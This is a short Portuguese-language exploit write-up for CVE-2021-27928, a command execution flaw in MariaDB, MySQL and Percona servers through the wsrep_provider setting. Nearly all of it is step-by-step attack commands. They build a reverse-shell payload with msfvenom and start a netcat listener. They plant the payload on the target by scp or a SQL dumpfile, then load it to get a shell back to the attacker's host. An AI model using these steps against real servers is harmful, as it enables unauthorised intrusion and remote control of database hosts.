
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' vulnerabilidade de injeção de comando
Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
Date: 03/18/2021
Exploit Author: Central InfoSec
Version:
MariaDB 10.2 before 10.2.37
10.3 before 10.3.28
10.4 before 10.4.18
10.5 before 10.5.9
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
Tested on: Linux
CVE : CVE-2021-27928
Passo 1: Criar o payload de reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

Passo 2: Iniciar um listener
nc -lnvp <port>

Passo 3: Copiar o payload para a máquina alvo
Via SCP
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
Via Dumpfile
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
Passo 4: Executar o payload
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
